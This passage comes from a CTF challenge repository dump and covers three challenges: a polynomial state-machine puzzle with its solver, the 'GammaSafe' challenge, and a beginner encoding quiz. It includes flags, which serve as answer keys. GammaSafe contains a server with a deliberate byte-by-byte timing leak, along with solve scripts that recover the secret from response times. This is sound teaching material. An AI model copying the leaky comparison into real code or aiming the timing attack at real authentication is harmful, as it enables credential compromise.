 return r\n\n# Set up the server and load our graph at the same time since it's slow\npwn.context.log_level = \"debug\"\npwn.context.timeout = 2\nif pwn.args.HOST:\n    u = yarl.URL(pwn.args.HOST)\n    assert u.scheme == \"tcp\", \"Use tcp://host:port\"\n    t = pwn.remote(u.host, u.port)\n    G = fsm.FSM.load(open(\"../challenge/fsm.txt\")).g\nelse:\n    # run in challenge/ dir to test solve locally\n    t = pwn.process([\"python\", \"./server.py\"])\n    G = fsm.FSM.load(open(\"./fsm.txt\")).g\n\n# Wait until the server is good to go\nhas_pow = t.recvline_contains((\n    b\"Are you ready to achieve enlightenment?\",\n    b\"== proof-of-work: enabled ==\"\n))\nif \"proof-of-work: enabled\" in has_pow.decode(\"ascii\", \"ignore\"):\n    pwn.log.info(\"pow detected: solving pow\")\n    pow = (t.recvline_contains(b\"python3\")\n        .decode(\"ascii\", \"ignore\")\n        .strip()\n        .split()[-1])\n    s = pwn.process([\"../challenge/pow.py\", \"solve\", pow])\n    s.recvline_contains(b'Solution:\\n')\n    s.recvline()\n    t.sendline(s.recvline()[:-1])\n    t.recvline_contains(b\"Are you ready to achieve enlightenment?\")\n\nSTATE_DELIM = b\" -> \"\nwhile True:\n    # Wait for lines with \" -> \" in them\n    l = t.recvline()\n    if not l or STATE_DELIM not in l:\n        continue\n    pwn.log.info(\"Need to solve %s\", l)\n    fe, sf = l.split(STATE_DELIM)\n    f, sf = sympy.Poly(fe.decode()), int(sf)\n    d = solve(G, f, sf)\n    pwn.log.info(\"Decoded %s\", d)\n    try:\n        t.sendline(d.encode())\n    except EOFError:\n        pwn.log.info(\"Server closed the connection\")\n        break\n    except TimeoutError:\n        if i == 0:\n            continue\n        raise\nassert \"DUCTF{\" in d, d\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/writeup.md",
    "content": "## Flying Spaghetti Monster\n\nThis is a challenge that presents something which looks roughly like a finite\nstate machine, defined by its state transitions. Each transition is defined by\nan integer value (all of which are ASCII printables) and a polynomial of the\nform `a*x + c` where `a` is prime and `c` is in Z+. Each state is labelled\nusing a monotonic sequence of values which don't correspond to the values\nassociated with each state transition. The player is given this information as\na static handout, and the server must have the same data available to it.\n\nThe player connects to a server for the live component of the challenge. The\nserver presents a series of challenges where the player is given a large\npolynomial and a single integer value. These are the result of composing each\nof the polynomials along a series of state transitions, and the label of the\nstate the machine \"terminated\" at. e.g in the following undirected machine:\n\n                                       X\n                                     /   \\\n                   0x42, 3 * x + 7  /     \\  0x41, 7 * x + 3\n                                   /       \\\n                                  /         \\\n                                 Y --------- Z\n                                0x43, 11 * x + 6\n\nIf we wanted to challenge the player to provide the string \"BC\", we'd take the\npath from X -> Y -> Z which have the two ASCII values we need. That path would\ncause us to construct the composition:\n\n```\nYZ(XY(x)) = 11 * (3 * x + 7) + 6 -> 33x + 83\n```\n\nSince composition of linear functions isn't generally commutative, if we give\nthe player the final state of the machine (Z in this case), they can work\nbackward, decomposing the polynomial along candidate paths in the state graph.\nIt's pretty easy to prune bad paths by avoiding edges which don't have an `a`\ncoefficient which factors the current decomposed polynomial's `a`, or if the\ncurrent decomposed `c` minus the edge's `c` isn't factored by the edge's `a`\n(which is the check the solver uses). They could also prune the full state\ngraph immediately using the prime factorisation of the `a` from the challenge\nthey are given, but I found that spending time building the reduced graph\ndominated execution and it wasn't worth it since we still traverse the full\ngraph pretty quickly.\n\nIt's worth noting that the challenge uses a complete digraph with self-loops\nfor each node to make it seem more complicated. That means that the edge X -> Y\nin the example above would be different to the edge Y -> X if it were\nconstructed like the real challenge's machine. The premise works with an\nundirected graph as well since each state is roughly associated with a \"last\nASCII value\" traversed. ie. all inbound edges to a node have the same integer\nvalue, so the fact that X -> Y is different to Y-> X doesn't really matter\nbecause even with an unidirected graph we could statefully interpret the path\nX -> Y -> X -> Y ... as long as we know the final state of that path.\n\n## Stumbling blocks\n\nSo the player is challenged with progressively larger polynomials to walk\nbackward along, and increasingly restrictive time limits (using SIGALRM on a\nPython `input()` call). This is partially intended to act as a rough PoW to\navoid people trying to DoS the server, but also to give them an opportunity to\nlearn the system with simple challenges before we force them to script a\nsolution.\n\nThere are a few steps of optimsation I might expect someone to go through:\n * realising that factoring large ints in Python is slow\n   - I swapped to using GNU `factor` via `subprocess`\n * realising that reducing the graph is expensive and unnecessary\n   - Lazy people might not even do this in the first place, :+1:\n * realising that factoring the given `a` isn't necessary\n   - since a single `divmod(c_decomp - c_edge, a_edge)` is enough to work out\n     if an edge is good candidate\n   - this is ideally \"required\" to finish the final challenge on time\n"
  },
  {
    "path": "misc/gammasafe/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/server.py /home/ctf/chal/pwn\nRUN chmod +x /home/ctf/chal/pwn\n"
  },
  {
    "path": "misc/gammasafe/README.md",
    "content": "# GammaSafe\n\n**Category:** Misc\n\n**Difficulty:** Easy\n\n**Author:** nullableVoid\\*#7225\n\nGammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit!\n"
  },
  {
    "path": "misc/gammasafe/challenge/flag.txt",
    "content": "DUCTF{>[current year]\\n>t1m1ng 4774ck5}\n"
  },
  {
    "path": "misc/gammasafe/challenge/server.py",
    "content": "#!/usr/bin/python3.8\nimport time\n\nFLAG = open(\"flag.txt\", \"r\").read().strip()\nSECRET = b\"&\\xc6\\x02\\xf2\"\n\n\ndef main():\n    print(\"SATELITE CONNECTION ESTABLISHED\")\n    print(\"-\" * 40)\n    print(\"Warning: This console is restricted to\")\n    print(\"users authorised by the Space Agency for\")\n    print(\"administration purposes only.\")\n    print(\"Unauthorized access is unlawful under\")\n    print(\"intergalactic treaties and will be\")\n    print(\"prosecuted to the fullest extent\")\n    print(\"of the law.\")\n    print(\"-\" * 40)\n\n    attempts = 0\n    while attempts < 3:\n        print(\"Signed source IP address (hex): \", end=\"\")\n\n        try:\n            guess = bytes.fromhex(input())\n        except:\n            print(\"Parsing error. Disconnecting...\")\n            return\n\n        for a, b in zip(SECRET, guess):\n            if a != b:\n                break\n            time.sleep(1.2)\n\n        if SECRET == guess:\n            print(\"Authenticated. Recorded satelite data decodes to the following:\")\n            print(FLAG)\n            return\n\n        print(\"Incorrect handshake. This attempt has been logged.\")\n        attempts += 1\n\n    print(\"Attempt limit reached. Disconnecting...\")\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "misc/gammasafe/challenge.yml",
    "content": "version: \"0.1\"\nid: gammasafe\nname: GammaSafe\ncategory: misc\ndescription: >\n  GammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit!\n\n\n  Author: nullableVoid*#7225\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./publish/gs_strcmp.3\n\nflags:\n  - DUCTF{>[current year]\\n>t1m1ng 4774ck5}\n"
  },
  {
    "path": "misc/gammasafe/publish/gs_strcmp.3",
    "content": ".TH GS_STRCMP 3  \"\" \"\" \"GammaSafe Library Manual\"\n.SH NAME\nGS_strcmp \\- safely compare two strings\n.SH SYNOPSIS\n.nf \n.B #include <gs_string.h>\n.PP\n.BI \"int GS_strcmp(const GS_STR \" s1 \", const GS_STR \" s2 );\n.fi\n.SH DESCRIPTION\nThe\n.BR GS_strcmp ()\nis functionally equivalent to strcmp, comparing the two strings\n.I s1\nand\n.IR s2\ncharacter by character.\n.PP\nThe function is considerably slower than the normal strcmp as it has to verify and correct each individual character before comparison, for resilience against soft errors.\n"
  },
  {
    "path": "misc/gammasafe/solve/solve.py",
    "content": "from pwn import remote, context\nfrom sys import argv\nimport time\n\nknown = b\"\"\n\ncontext.timeout = None\n\nthreshold = 0.5\n\ndef guess():\n    global known\n    io = None\n    attempts = 0\n    guesses = []\n    for i in range(256):\n        c = bytes([i])\n        print(known+c)\n        if io is None:\n            io = remote(argv[1], int(argv[2]))\n        print(io.readuntil(\"(hex): \"))\n        attempts += 1\n        start = time.time()\n        io.sendline((known + c).hex())\n        if b\"Incorrect handshake\" not in (line := io.recvline()):\n            print(line)\n            print(io.recvall())\n            exit()\n        end = time.time()\n        if attempts >= 3:\n            io.close()\n            io = None\n            attempts = 0\n        if len(guesses) > 0:\n            if end - start > guesses[-1][0] + threshold:\n                return c\n            elif end - start < guesses[-1][0] - threshold:\n                return guesses[-1][1]\n        else:\n            guesses.append((end - start, c))\n\n\nwhile len(known) < 5:\n    known += guess()\n    print(known)\n"
  },
  {
    "path": "misc/gammasafe/solve/solve.threaded.py",
    "content": "# Author: github/uint0\nimport time\nimport socket\nimport contextlib\nimport concurrent.futures\n\nMAX_THREADS = 8\nMIN_SAMPLE_SIZE = 16\n\nremote = ('0.0.0.0', 1337)\n\n@contextlib.contextmanager\ndef challenge_sock():\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.settimeout(5)\n    sock.connect(remote)\n    try:\n        sock.recv(1024)\n        yield sock\n    finally:\n        sock.close()\n\ndef make_guess(guess):\n    with challenge_sock() as sock:\n        start = time.time()\n        sock.send(guess.hex().encode() + b'\\n')\n        sock.recv(1024)\n        return time.time() - start\n\n\ndef check_outlier(times):\n    if len(times) < MIN_SAMPLE_SIZE:\n        return None\n\n    longest, next_longest, *_ = sorted(times, key=lambda k: times[k], reverse=True)\n    \n    return longest if times[longest] - times[next_longest] > 0.5 else None\n\n\ndef guess_character(known):\n    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:\n        # Manually submit as it allows us to control early exits better\n        guesses = [known + bytes([g]) for g in range(256)]\n        submissions = [executor.submit(make_guess, g) for g in guesses]\n\n        times = {}\n        for g, s in zip(guesses, submissions):\n            print(g.hex(), end='\\r')\n            times[g] = s.result()\n            if o := check_outlier(times):\n                for s in submissions: s.cancel()\n                return o\n\n    assert False, \"Could not find longest\"\n\ndef solve():\n    known = b''\n    while len(known) < 4:\n        print(known.hex(), end='\\r')\n        known = guess_character(known)\n    \n    return known\n\n\nif __name__ == '__main__':\n    print(solve().hex())\n"
  },
  {
    "path": "misc/general_skills_quiz/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY /challenge/challenge.py /home/ctf/chal/pwn\nCOPY /challenge/wordlist.10000 /home/ctf/chal/wordlist.txt\n\nRUN chmod +x /home/ctf/chal/pwn\n\nENV TIME_LIMIT 30"
  },
  {
    "path": "misc/general_skills_quiz/README.md",
    "content": "# General Skills Quiz Challenge\n\n**Author:** Crem\n\n**Category:** misc\n\n**Difficulty:** Beginner\n\n## Description\n\nQUIZ TIME! Just answer the questions as that's pretty easy right?\n"
  },
  {
    "path": "misc/general_skills_quiz/WRITEUP.md",
    "content": "# General Skills Quiz Write Up\n\nThe General Skills Quiz is meant to be a beginner challenge in order to learn how to manipulate strings in Python using the commonly known `pwntools` library.\n\nThere are 11 challenges in total and then you will receive the flag.\n\nThe solve script that I have written is listed below. \n\nPlease excuse my terrible code.\n\n```python\n# /usr/bin/python3\nimport re, urllib.parse, base64, codecs\nfrom pwn import *\n\ndef extract_q():\n    print(r.recvuntil(\":\").decode('utf-8'))\n    q = str(r.recvline().strip())\n    q_extracted = \"\".join(re.findall(\"'([^']*)'\", q))\n    return q_extracted\n\ndef answer_send(ans, n):\n    answer = ans\n    print(\"[+] Answer \" + str(n) +\": \" + answer)\n    r.sendline(answer)\n\n# Question 1 - Basic Maths\nr = remote('127.0.0.1', 1337)\nprint(r.recvline().decode('utf-8'))\n# Sending \\n to progress\nr.sendline()\nprint(r.recvline().decode('utf-8'))\nprint(r.recvline().decode('utf-8'))\nanswer_send(\"2\", 1)\n\n# Question 2 - Hex -> Base 10\nanswer_send(str(int(extract_q(), 0)), 2)\n\n# Question 3 - Hex -> ASCII\nanswer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3)\n\n# Question 4 - URL Encoded -> ASCII Symbols\nanswer_send(urllib.parse.unquote(extract_q()), 4)\n\n# Question 5 - Base64 -> ASCII\nanswer_send(base64.b64decode(extract_q()).decode('utf-8'), 5)\n\n# Question 6 - ASCII -> Base64\nanswer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6)\n\n# Question 7 - ROT13 -> ASCII\nanswer_send(codecs.encode(extract_q(), 'rot_13'), 7)\n\n# Question 8 - ASCII -> ROT13\nanswer_send(codecs.decode(extract_q(), 'rot_13'), 8)\n\n# Question 9 - Binary -> Base 10\nanswer_send(str(int(extract_q(),2)), 9)\n\n# Question 10 - Base10 -> Binary\nanswer_send(bin(int(extract_q())), 10)\n\n# Question 11 - CTF Q\nprint(r.recvuntil(\"?\"))\nanswer11 = \"DUCTF\"\nprint(\"[+] Answer 11: \" + answer11)\nr.sendline(answer11)\nprint(r.recvall().decode('utf-8'))\n```"
  },
  {
    "path": "misc/general_skills_quiz/challenge/challenge.py",
    "content": "#!/usr/bin/python3.8\n\nimport random, base64, codecs, string, urllib.parse,re\n\nart = r\"\"\"\n##############################'               `##############################  \n############################'                   `############################\n###'`#############'`######!                       !######'`#############'`###\n####  ###########  #######                         #######  ###########  ####\n####. `#' \\' \\#`  #######!           DUCTF         !#######  '#/ `/ `#' .####\n#####. !\\  i  i .########                           ########. i  i  /! .#####\n######   `--`--.#########                           #########.--'--'   ######\n######L        `#####^^##                           ##^^#####'        J######\n#######.   .'   \"\"~   ###    #.                 .#  ###   ~\"\"   `.   .#######\n########.  ;      .e#####!    ##.             .##  !#####e,      ;  .########\n#########   `.############     ###.         .###   ############.'   #########\n########    .#############!     ##`########'##    !#############.    ########\n#JT&yd#     ################.    #    ##    #   .################     #by&TL#\n                                 #    ##    #\n                                 #.   ##   .#\n                                 `#        #'\n                                  `########'\n\"\"\"\n\nflag = r\"\"\"\n   .^.\n  (( ))\n   |#|_______________________________\n   |#||##############################|\n   |#||##############################|\n   |#||##############################|\n   |#||##############################|\n   |#||########DOWNUNDERCTF##########|\n   |#||########(DUCTF 2021)##########|\n   |#||##############################|\n   |#||##############################|\n   |#||##############################|\n   |#||##############################|\n   |#|'------------------------------'\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|\n   |#|  DUCTF{you_aced_the_quiz!_have_a_gold_star_champion}\n   |#|\n   |#|\n   |#|   \n  //|\\\\\n\"\"\"\n\n# Wordlist is from https://www.mit.edu/~ecprice/wordlist.10000\nword_file = \"./wordlist.txt\"\nwords = open(word_file).read().splitlines()\n\n# function to generate a random word n amount of times \ndef generate_random_word(n):\n    tmp = \"\"\n    for _ in range(n):\n        tmp += (random.choice(words)) + \"_\"\n    return tmp.strip(\"_\")\n\n# Develops a question where n is the amount of words and q is the question string\ndef question(p, q):\n    plaintext = p\n    print(q)\n    # Uncomment below line if you need answer\n    # print(plaintext)\n    user_answer = input()\n    if (user_answer == plaintext):\n        return True\n    else:\n        return False\n\n# Logic of the right or wrong answer. Pass in the question function and a compliment to the user if they get it right.\ndef logic(full_q, compliment): \n    if (full_q):\n        print(compliment)\n        print()\n    else:\n        print()\n        print(\"\\t\\t\\t\\tYOU CARKED IT!\")\n        print()\n        print(art)\n        exit()\n\n# Question 1 - Basic Maths\nq1_plaintext = \"2\"\nq1_math = \"Answer this maths question: 1+1=?\" \n\n# Question 2 - Hex -> Base 10\nq2_plaintext = str(random.randint(10,255))\nq2_hex2base10 =\"Decode this hex string and provide me the original number (base 10): \" + hex(int(q2_plaintext))\n\n# Question 3 - Hex -> ASCII\nq3_plaintext = str(random.choice(string.ascii_letters))\nq3_hex2ascii = \"Decode this hex string and provide me the original ASCII letter: \" + q3_plaintext.encode(\"utf-8\").hex()\n\n# Question 4 - URL Encoded -> ASCII Symbols\nq4_plaintext = random.choice(string.punctuation) + random.choice(string.punctuation) + random.choice(string.punctuation)\nq4_urlencode2ascii = \"Decode this URL encoded string and provide me the original ASCII symbols: \" + urllib.parse.quote(q4_plaintext)\n\n# Question 5 - Base64 -> ASCII\nq5_plaintext = generate_random_word(4)\nq5_b64decode = \"Decode this base64 string and provide me the plaintext: \" + base64.b64encode(str.encode(q5_plaintext)).decode(\"UTF-8\")\n\n# Question 6 - ASCII -> Base64\nq6_start = generate_random_word(4)\nq6_end = base64.b64encode(str.encode(q6_start)).decode(\"UTF-8\")\nq6_b64encode = \"Encode this plaintext string and provide me the Base64: \" + q6_start\n\n# Question 7 - ROT13 -> ASCII\nq7_plaintext = generate_random_word(4)\nq7_r13decode = \"Decode this rot13 string and provide me the plaintext: \" + codecs.encode((q7_plaintext),'rot13')\n\n# Question 8 - ASCII -> ROT13\nq8_start = generate_random_word(4)\nq8_end = codecs.encode(q8_start,'rot13')\nq8_r13encode = \"Encode this plaintext string and provide me the ROT13 equilavent: \" + q8_start\n\n# Question 9 - Binary -> Base 10\nq9_plaintext = str(random.randint(1000,9999))\nq9_binarydecode = \"Decode this binary string and provide me the original number (base 10): \" + bin(int(q9_plaintext))\n\n# Question 10 - Base10 -> Binary\nq10_start = str(random.randint(1000,9999))\nq10_mid = bin(int(q10_start))\nq10_binaryencode = \"Encode this number and provide me the binary equivalent: \" + q10_start\n\n# Question 11 - CTF Q\nq11_plaintext = \"DUCTF\"\nq11_problem = \"Final Question, what is the best CTF competition in the universe?\"\n\n# Main\nprint(\"Welcome to the DUCTF Classroom! Cyber School is now in session!\")\ninput(\"Press enter when you are ready to start your 30 seconds timer for the quiz...\")\nprint(\"Woops the time is always ticking...\")\nlogic(question(q1_plaintext, q1_math), \"Well I see you are not a bludger then.\")\nlogic(question(q2_plaintext, q2_hex2base10), \"You're better than a dog's breakfast at least.\")\nlogic(question(q3_plaintext, q3_hex2ascii), \"Come on this isn't hard yakka\")\nlogic(question(q4_plaintext, q4_urlencode2ascii), \"You haven't gone walkabout yet. Keep going!\")\nlogic(question(q5_plaintext, q5_b64decode), \"That's a fair crack of the whip.\")\nlogic(question(q6_end, q6_b64encode), \"Fair dinkum! That's not bad.\")\nlogic(question(q7_plaintext, q7_r13decode), \"Don't spit the dummy yet!\")\nlogic(question(q8_end, q8_r13encode), \"You're sussing this out pretty quickly.\")\nlogic(question(q9_plaintext, q9_binarydecode), \"Crikey, can you speak computer?\")\nlogic(question(q10_mid, q10_binaryencode), \"You're better than a bunnings sausage sizzle.\")\nlogic(question(q11_plaintext, q11_problem), \"Bloody Ripper! Here is the grand prize!\")\nprint()\nprint(flag)\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "misc/general_skills_quiz/challenge/wordlist.10000",
    "content": "a\naa\naaa\naaron\nab\nabandoned\nabc\naberdeen\nabilities\nability\nable\naboriginal\nabortion\nabout\nabove\nabraham\nabroad\nabs\nabsence\nabsent\nabsolute\nabsolutely\nabsorption\nabstract\nabstracts\nabu\nabuse\nac\nacademic\nacademics\nacademy\nacc\naccent\naccept\nacceptable\nacceptance\naccepted\naccepting\naccepts\naccess\naccessed\naccessibility\naccessible\naccessing\naccessories\naccessory\naccident\naccidents\naccommodate\naccommodation\naccommodations\naccompanied\naccompanying\naccomplish\naccomplished\naccordance\naccording\naccordingly\naccount\naccountability\naccounting\naccounts\naccreditation\naccredited\naccuracy\naccurate\naccurately\naccused\nacdbentity\nace\nacer\nachieve\nachieved\nachievement\nachievements\nachieving\nacid\nacids\nacknowledge\nacknowledged\nacm\nacne\nacoustic\nacquire\nacquired\nacquisition\nacquisitions\nacre\nacres\nacrobat\nacross\nacrylic\nact\nacting\naction\nactions\nactivated\nactivation\nactive\nactively\nactivists\nactivities\nactivity\nactor\nactors\nactress\nacts\nactual\nactually\nacute\nad\nada\nadam\nadams\nadaptation\nadapted\nadapter\nadapters\nadaptive\nadaptor\nadd\nadded\naddiction\nadding\naddition\nadditional\nadditionally\nadditions\naddress\naddressed\naddresses\naddressing\nadds\nadelaide\nadequate\nadidas\nadipex\nadjacent\nadjust\nadjustable\nadjusted\nadjustment\nadjustments\nadmin\nadministered\nadministration\nadministrative\nadministrator\nadministrators\nadmission\nadmissions\nadmit\nadmitted\nadobe\nadolescent\nadopt\nadopted\nadoption\nadrian\nads\nadsl\nadult\nadults\nadvance\nadvanced\nadvancement\nadvances\nadvantage\nadvantages\nadventure\nadventures\nadverse\nadvert\nadvertise\nadvertisement\nadvertisements\nadvertiser\nadvertisers\nadvertising\nadvice\nadvise\nadvised\nadvisor\nadvisors\nadvisory\nadvocacy\nadvocate\nadware\nae\naerial\naerospace\naf\naffair\naffairs\naffect\naffected\naffecting\naffects\naffiliate\naffiliated\naffiliates\naffiliation\nafford\naffordable\nafghanistan\nafraid\nafrica\nafrican\nafter\nafternoon\nafterwards\nag\nagain\nagainst\nage\naged\nagencies\nagency\nagenda\nagent\nagents\nages\naggregate\naggressive\naging\nago\nagree\nagreed\nagreement\nagreements\nagrees\nagricultural\nagriculture\nah\nahead\nai\naid\naids\naim\naimed\naims\nair\naircraft\nairfare\nairline\nairlines\nairplane\nairport\nairports\naj\nak\naka\nal\nala\nalabama\nalan\nalarm\nalaska\nalbania\nalbany\nalbert\nalberta\nalbum\nalbums\nalbuquerque\nalcohol\nalert\nalerts\nalex\nalexander\nalexandria\nalfred\nalgebra\nalgeria\nalgorithm\nalgorithms\nali\nalias\nalice\nalien\nalign\nalignment\nalike\nalive\nall\nallah\nallan\nalleged\nallen\nallergy\nalliance\nallied\nallocated\nallocation\nallow\nallowance\nallowed\nallowing\nallows\nalloy\nalmost\nalone\nalong\nalot\nalpha\nalphabetical\nalpine\nalready\nalso\nalt\nalter\naltered\nalternate\nalternative\nalternatively\nalternatives\nalthough\nalto\naluminium\naluminum\nalumni\nalways\nam\namanda\namateur\namazing\namazon\namazoncom\namazoncouk\nambassador\namber\nambien\nambient\namd\namend\namended\namendment\namendments\namenities\namerica\namerican\namericans\namericas\namino\namong\namongst\namount\namounts\namp\nampland\namplifier\namsterdam\namy\nan\nana\nanaheim\nanal\nanalog\nanalyses\nanalysis\nanalyst\nanalysts\nanalytical\nanalyze\nanalyzed\nanatomy\nanchor\nancient\nand\nandale\nanderson\nandorra\nandrea\nandreas\nandrew\nandrews\nandy\nangel\nangela\nangeles\nangels\nanger\nangle\nangola\nangry\nanimal\nanimals\nanimated\nanimation\nanime\nann\nanna\nanne\nannex\nannie\nanniversary\nannotated\nannotation\nannounce\nannounced\nannouncement\nannouncements\nannounces\nannoying\nannual\nannually\nanonymous\nanother\nanswer\nanswered\nanswering\nanswers\nant\nantarctica\nantenna\nanthony\nanthropology\nanti\nantibodies\nantibody\nanticipated\nantigua\nantique\nantiques\nantivirus\nantonio\nanxiety\nany\nanybody\nanymore\nanyone\nanything\nanytime\nanyway\nanywhere\naol\nap\napache\napart\napartment\napartments\napi\napnic\napollo\napp\napparatus\napparel\napparent\napparently\nappeal\nappeals\nappear\nappearance\nappeared\nappearing\nappears\nappendix\napple\nappliance\nappliances\napplicable\napplicant\napplicants\napplication\napplications\napplied\napplies\napply\napplying\nappointed\nappointment\nappointments\nappraisal\nappreciate\nappreciated\nappreciation\napproach\napproaches\nappropriate\nappropriations\napproval\napprove\napproved\napprox\napproximate\napproximately\napps\napr\napril\napt\naqua\naquarium\naquatic\nar\narab\narabia\narabic\narbitrary\narbitration\narc\narcade\narch\narchitect\narchitects\narchitectural\narchitecture\narchive\narchived\narchives\narctic\nare\narea\nareas\narena\narg\nargentina\nargue\nargued\nargument\narguments\narise\narising\narizona\narkansas\narlington\narm\narmed\narmenia\narmor\narms\narmstrong\narmy\narnold\naround\narrange\narranged\narrangement\narrangements\narray\narrest\narrested\narrival\narrivals\narrive\narrived\narrives\narrow\nart\narthritis\narthur\narticle\narticles\nartificial\nartist\nartistic\nartists\narts\nartwork\naruba\nas\nasbestos\nascii\nash\nashley\nasia\nasian\naside\nasin\nask\nasked\nasking\nasks\nasn\nasp\naspect\naspects\naspnet\nass\nassault\nassembled\nassembly\nassess\nassessed\nassessing\nassessment\nassessments\nasset\nassets\nassign\nassigned\nassignment\nassignments\nassist\nassistance\nassistant\nassisted\nassists\nassociate\nassociated\nassociates\nassociation\nassociations\nassume\nassumed\nassumes\nassuming\nassumption\nassumptions\nassurance\nassure\nassured\nasthma\nastrology\nastronomy\nasus\nat\nata\nate\nathens\nathletes\nathletic\nathletics\nati\natlanta\natlantic\natlas\natm\natmosphere\natmospheric\natom\natomic\nattach\nattached\nattachment\nattachments\nattack\nattacked\nattacks\nattempt\nattempted\nattempting\nattempts\nattend\nattendance\nattended\nattending\nattention\nattitude\nattitudes\nattorney\nattorneys\nattract\nattraction\nattractions\nattractive\nattribute\nattributes\nau\nauburn\nauckland\nauction\nauctions\naud\naudi\naudience\naudio\naudit\nauditor\naug\naugust\naurora\naus\naustin\naustralia\naustralian\naustria\nauthentic\nauthentication\nauthor\nauthorities\nauthority\nauthorization\nauthorized\nauthors\nauto\nautomated\nautomatic\nautomatically\nautomation\nautomobile\nautomobiles\nautomotive\nautos\nautumn\nav\navailability\navailable\navatar\nave\navenue\naverage\navg\navi\naviation\navoid\navoiding\navon\naw\naward\nawarded\nawards\naware\nawareness\naway\nawesome\nawful\naxis\naye\naz\nazerbaijan\nb\nba\nbabe\nbabes\nbabies\nbaby\nbachelor\nback\nbacked\nbackground\nbackgrounds\nbacking\nbackup\nbacon\nbacteria\nbacterial\nbad\nbadge\nbadly\nbag\nbaghdad\nbags\nbahamas\nbahrain\nbailey\nbaker\nbaking\nbalance\nbalanced\nbald\nbali\nball\nballet\nballoon\nballot\nballs\nbaltimore\nban\nbanana\nband\nbands\nbandwidth\nbang\nbangbus\nbangkok\nbangladesh\nbank\nbanking\nbankruptcy\nbanks\nbanned\nbanner\nbanners\nbaptist\nbar\nbarbados\nbarbara\nbarbie\nbarcelona\nbare\nbarely\nbargain\nbargains\nbarn\nbarnes\nbarrel\nbarrier\nbarriers\nbarry\nbars\nbase\nbaseball\nbased\nbaseline\nbasement\nbasename\nbases\nbasic\nbasically\nbasics\nbasin\nbasis\nbasket\nbasketball\nbaskets\nbass\nbat\nbatch\nbath\nbathroom\nbathrooms\nbaths\nbatman\nbatteries\nbattery\nbattle\nbattlefield\nbay\nbb\nbbc\nbbs\nbbw\nbc\nbd\nbdsm\nbe\nbeach\nbeaches\nbeads\nbeam\nbean\nbeans\nbear\nbearing\nbears\nbeast\nbeastality\nbeastiality\nbeat\nbeatles\nbeats\nbeautiful\nbeautifully\nbeauty\nbeaver\nbecame\nbecause\nbecome\nbecomes\nbecoming\nbed\nbedding\nbedford\nbedroom\nbedrooms\nbeds\nbee\nbeef\nbeen\nbeer\nbefore\nbegan\nbegin\nbeginner\nbeginners\nbeginning\nbegins\nbegun\nbehalf\nbehavior\nbehavioral\nbehaviour\nbehind\nbeijing\nbeing\nbeings\nbelarus\nbelfast\nbelgium\nbelief\nbeliefs\nbelieve\nbelieved\nbelieves\nbelize\nbelkin\nbell\nbelle\nbelly\nbelong\nbelongs\nbelow\nbelt\nbelts\nben\nbench\nbenchmark\nbend\nbeneath\nbeneficial\nbenefit\nbenefits\nbenjamin\nbennett\nbenz\nberkeley\nberlin\nbermuda\nbernard\nberry\nbeside\nbesides\nbest\nbestiality\nbestsellers\nbet\nbeta\nbeth\nbetter\nbetting\nbetty\nbetween\nbeverage\nbeverages\nbeverly\nbeyond\nbg\nbhutan\nbi\nbias\nbible\nbiblical\nbibliographic\nbibliography\nbicycle\nbid\nbidder\nbidding\nbids\nbig\nbigger\nbiggest\nbike\nbikes\nbikini\nbill\nbilling\nbillion\nbills\nbilly\nbin\nbinary\nbind\nbinding\nbingo\nbio\nbiodiversity\nbiographies\nbiography\nbiol\nbiological\nbiology\nbios\nbiotechnology\nbird\nbirds\nbirmingham\nbirth\nbirthday\nbishop\nbit\nbitch\nbite\nbits\nbiz\nbizarre\nbizrate\nbk\nbl\nblack\nblackberry\nblackjack\nblacks\nblade\nblades\nblah\nblair\nblake\nblame\nblank\nblanket\nblast\nbleeding\nblend\nbless\nblessed\nblind\nblink\nblock\nblocked\nblocking\nblocks\nblog\nblogger\nbloggers\nblogging\nblogs\nblond\nblonde\nblood\nbloody\nbloom\nbloomberg\nblow\nblowing\nblowjob\nblowjobs\nblue\nblues\nbluetooth\nblvd\nbm\nbmw\nbo\nboard\nboards\nboat\nboating\nboats\nbob\nbobby\nboc\nbodies\nbody\nbold\nbolivia\nbolt\nbomb\nbon\nbond\nbondage\nbonds\nbone\nbones\nbonus\nboob\nboobs\nbook\nbooking\nbookings\nbookmark\nbookmarks\nbooks\nbookstore\nbool\nboolean\nboom\nboost\nboot\nbooth\nboots\nbooty\nborder\nborders\nbored\nboring\nborn\nborough\nbosnia\nboss\nboston\nboth\nbother\nbotswana\nbottle\nbottles\nbottom\nbought\nboulder\nboulevard\nbound\nboundaries\nboundary\nbouquet\nboutique\nbow\nbowl\nbowling\nbox\nboxed\nboxes\nboxing\nboy\nboys\nbp\nbr\nbra\nbracelet\nbracelets\nbracket\nbrad\nbradford\nbradley\nbrain\nbrake\nbrakes\nbranch\nbranches\nbrand\nbrandon\nbrands\nbras\nbrass\nbrave\nbrazil\nbrazilian\nbreach\nbread\nbreak\nbreakdown\nbreakfast\nbreaking\nbreaks\nbreast\nbreasts\nbreath\nbreathing\nbreed\nbreeding\nbreeds\nbrian\nbrick\nbridal\nbride\nbridge\nbridges\nbrief\nbriefing\nbriefly\nbriefs\nbright\nbrighton\nbrilliant\nbring\nbringing\nbrings\nbrisbane\nbristol\nbritain\nbritannica\nbritish\nbritney\nbroad\nbroadband\nbroadcast\nbroadcasting\nbroader\nbroadway\nbrochure\nbrochures\nbroke\nbroken\nbroker\nbrokers\nbronze\nbrook\nbrooklyn\nbrooks\nbros\nbrother\nbrothers\nb